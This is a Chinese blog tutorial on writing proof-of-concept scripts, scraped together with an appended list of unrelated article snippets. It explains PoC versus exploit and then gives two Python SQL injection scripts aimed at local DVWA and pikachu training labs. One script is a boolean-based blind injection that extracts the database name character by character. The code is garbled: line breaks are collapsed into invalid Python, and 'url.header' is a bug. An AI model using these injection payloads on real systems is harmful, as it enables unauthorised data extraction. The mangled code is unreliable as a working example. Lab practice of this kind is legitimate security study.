初探POC编写

article/2025/8/6 10:49:45

文章目录

  • 前言
  • 什么是POC
  • 什么是 Exp
  • POC注意事项
  • 尝试编写第一个POC
  • pikachu sql盲注poc
  • 参考

前言

想锻炼一下编程能力,师兄说以后很重要的,最好学好一点

但是我又想学习安全相关的,那就来练练poc吧

什么是POC

PoC(全称: Proof of Concept), 中文译作概念验证。在安全界,你可以理解成为漏洞验证程序(本教程中,如无特别说明,默认代表漏洞验证程序),当然你要强行说我说的不对,我肯定支持你,反正我没打算反驳你。和一些应用程序相比,PoC 是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。因为是一些代码片段,所以到现在都没看到有一本书来讲怎么编写 PoC 的,因为这些东西对于会写代码的人来说,他们会很惊讶分分钟就会了的事为什么还要出本书。

什么是 Exp

Exp(全称: Exploit),中文叫漏洞利用程序。名字上说的已经很清楚了,简单讲,就是一段可以发挥漏洞价值的程序,这话感觉和没说一样。想象一下这样的场景,目标存在一个 SQL 注入漏洞,然后被你知道了,然后你编写了一个程序,通过这个 SQL 注入漏洞,拿到了目标的权限,那么这个程序就是所谓的 Exp 了,当然,如果你没有使用这个漏洞,它就这么放着,那么这个漏洞,对你来说可以认为是没有价值的。

POC注意事项

  1. 随机性 参数随机(有时候可以不随机)
  2. 通用性 要对一样组件的网站都成立,不能是针对个别网站
  3. 确定性 要明确验证漏洞存在与否

尝试编写第一个POC

dvwa的sql注入poc

这个是要自己在id参数里面添加’

根据返回结果才可以验证出来

import requests
import reheader = {"Cookie":""} 
url = input("请输入url")
r = requests.get(url.header)
res = str(r.content)
if re.search("syntax",res):print("存在sql注入")
else:print("不存在sql注入")

pikachu sql盲注poc

import requests
import stringurl = "http://192.168.186.128/pikachu/vul/sqli/sqli_blind_b.php"
#计算响应包长度
params={"name":"kobe","submit":"查询"}
normalhtmllen = len(requests.get(url=url,params=params).text)
# url2=requests.get(url=url,params=params)
print("the len of HTML:",normalhtmllen)
# print(url2.url)
print("the len of HTML:"+str(normalhtmllen))
#+号要加str()改为字符串
#------------判断数据库名的长度--------------------------------
dbNameLen = 0
while True:dbNameLen_url = url + "?name=kobe'+and+length(database())%3D"+str(dbNameLen)+"%23&submit=查询"#print(dbNameLen_url)if len(requests.get(dbNameLen_url).text) == normalhtmllen:print("The len of dbName",dbNameLen)breakif dbNameLen == 200:print("Error!")breakdbNameLen += 1
#-----------------------------------------------------------------
#---根据得到的长度去用substr()由头到尾一个个字符串遍历出完整的数据库名------dbName=""for i in range(1,9):for a in string.ascii_lowercase:dbName_url=url + "?name=kobe'+and+substr(database(),"+str(i)+",1)='"+a+"'%23&submit=查询"#print(dbName_url)if len(requests.get(dbName_url).text) == normalhtmllen:dbName += aprint(dbName)

在这里插入图片描述

参考

https://mp.weixin.qq.com/s?__biz=MzIyNTA1NzAxOA==&mid=402630401&idx=1&sn=8739dae646ec90ff4c813b14ef7e961f
http://labs.supinfochina.com/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8poc/
https://blog.csdn.net/qq_37622608/article/details/88048847
https://www.cxyzjd.com/article/qqchaozai/103567861


http://chatgpt.dhexx.cn/article/An9J5OuD.shtml

相关文章

POC_MeterSphere-RCE

MeterSphere-RCE 漏洞详情影响范围指纹- fingerPOC-YAML《飞致云MeterSphere开源测试平台远程代码执行漏洞》 漏洞详情 MeterSphere一站式开源持续测试平台存在的远程代码执行漏洞。由于自定义插件功能处存在缺陷,未经身份验证的攻击者可利用该漏洞在目标系统上远程执行任意…

【POC---概念验证】

文章目录 前言一、Proof of Concept是什么?验证内容 PoC测试工作准备前提PoC测试工作参与者PoC测试工作准备文档PoC测试工作第一阶段 工作启动第二阶段 产品宣讲及现场集中测试第三阶段 技术测评第四阶段 间歇性测试工作 第五阶段 商务验证第六阶段 背书归档、分析总…

POC_Jenkins

简介 Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成,Jenkins用Java语言编写,可在Tomcat等流行的servlet容器中运行,也可独立运行。通常与版本管理工具(SCM)、构建工…

网络安全中的POC、EXP、Payload、ShellCode_网络安全payload是什么意思

什么是 POC、EXP、Payload? POC:概念证明,即概念验证(英语:Proof of concept,简称POC)是对某些想法的一个较短而不完整的实现,以证明其可行性,示范其原理,其…

Zendstudio 9.0.2 安装Aptana3 并且配置 jQuery

原文地址:http://my.oschina.net/feek/blog/64517 aptana-javascript-jquery.ruble文件夹下载地址: http://dl.dbank.com/c04bfgbchz 一直在用zenstudio9,有时候又需要用到jquery等插件辅助制作前台效果,想安装个Aptana3插件,但是查了好多网…

elfk

1. 2. ​​​​​​​ 3. 4. 5.

c/c++读写文件(c方法篇)

读写文件操作 C语言方法 参考博客:函数基本介绍: https://www.cnblogs.com/lidabo/p/6813354.html 自己写了个demo测试一下fopen、feek、fwrite、fread函数的使用,代码如下: void OperationFile_C() {FILE* fp NULL;fp fopen(…

EFLFK

目录 zookeeper概述 zookeeper 定义 Zookeeper工作机制 Zookeeper特点 Zookeeper数据结构 Zookeeper 应用场景 Zookeeper选举机制 第一次启动选举机制 非第一次启动选举机制 部署 Zookeeper 集群 准备 3 台服务器做 Zookeeper 集群 安装前准备 关闭防火墙 安装 J…

fseek函数c语言_使用示例的C语言中的fseek()函数

fseek函数c语言 C中的fseek()函数 (fseek() function in C) Prototype: 原型: int feek(FILE *stream, long int offset, int origin);Parameters: 参数: FILE *stream, long int offset, int originReturn type: int 返回类型: int Use o…

c语言feek函数读取中文出现乱码

c语言feek函数读取中文出现乱码 在文件操作的学习中,发现读取文件的中文时会出现乱码 当输入的文字改成英文时则不会出现乱码,于是猜想是否和中文与英文占用的字节有关系,实践得出结论,的确是字节搞的鬼,那么有趣了,如果恰好文件指针指向中文字节的一半时,这个指针指向…

vue element-ui自定义表头,动态添加表头,新增行、新增列、删除行、删除列

vue element-ui表格怎样自定义表头,动态添加表头,新增行、新增列、删除行、删除列 需求描述1.自定义表头,表头里插入输入框2.默认初始化几行几列占位3.新增行4.新增列5.右键点击行,进行删除行6.右键点击表头,进行删除列…

sql delete删除列_现有表操作中SQL DELETE列概述

sql delete删除列 In this article, we will explore the process of SQL Delete column from an existing table. We will also understand the impact of removing a column with defined constraints and objects on it. 在本文中,我们将探讨从现有表中删除SQL列的过程。 …

Notepad++快速删除列或者列位置增加相同内容

一、快速删除列(一列或者多列) 方法:鼠标选择范围的起始位置,按住AltShift,然后鼠标选择范围的结束位置 使用‘BackSpace’删除即可 二、快速增加列内容 方法:鼠标放在第一行某一列,按住AltShift,然后鼠…

poi移动列和删除列

Java poi 移动列 删除列 移动列删除列最后 移动列 从poi4.0.0开始,在sheet里面提供了一个移动列的api shiftColumns(int startColumn, int endColumn, final int n), 移动开始列、结束列和移动列数。 需要注意的是, 移动到的列需要没有格式…

python删除csv某一列_python csv 删除列

广告关闭 腾讯云11.11云上盛惠 ,精选热门产品助力上云,云服务器首年88元起,买的越多返的越多,最高返5000元! 我的input.csv看起来是这样的: day,month,year,lat,long01,04,2001,45.00,120.0002,04,2003,44.00,118.00 我试图删除“year”栏及其所有条目。 总共有40多个条…

Sqlite删除列方法

sqlite中是不支持删除列操作的,所以网上alter table table_name drop column col_name这个语句在sqlite中是无效的,而替代的方法可以如下: 1.根据原表创建一张新表 2.删除原表 3.将新表重名为旧表的名称 示例例子如下 1.创建一张旧表Stu…

oracle中如何删除列,oracle如何删除列?

oracle删除列的方法:1、删除一列,代码为【ALTER TABLEtable_name DROP COLUMNcolumn_name;】;2、删除多列,代码为【ALTER TABLE table_name DROP(column1,】。 oracle删除列的方法: 1、删除一列 ALTER TABL…

pandas—删除某行或某列数据

首先,创建一个DataFrame格式数据作为举例数据。 # 创建一个DataFrame格式数据 data {a: [a0, a1, a2],b: [b0, b1, b2],c: [i for i in range(3)],d: 4} df pd.DataFrame(data) print(举例数据情况:\n, df)注:DataFrame是最常用的pandas对象…

【QT设计师】某视频视频源

#coding:utf8程序制作:冷鱼闲风 制作日期:2021年12月06日 申明:本程序仅供学习,请勿用作商业用途和违法行为。 ps:程序还有很多值得改进的地方,欢迎大神帮我指出可以优化的地方吧,谢谢大家。 #导…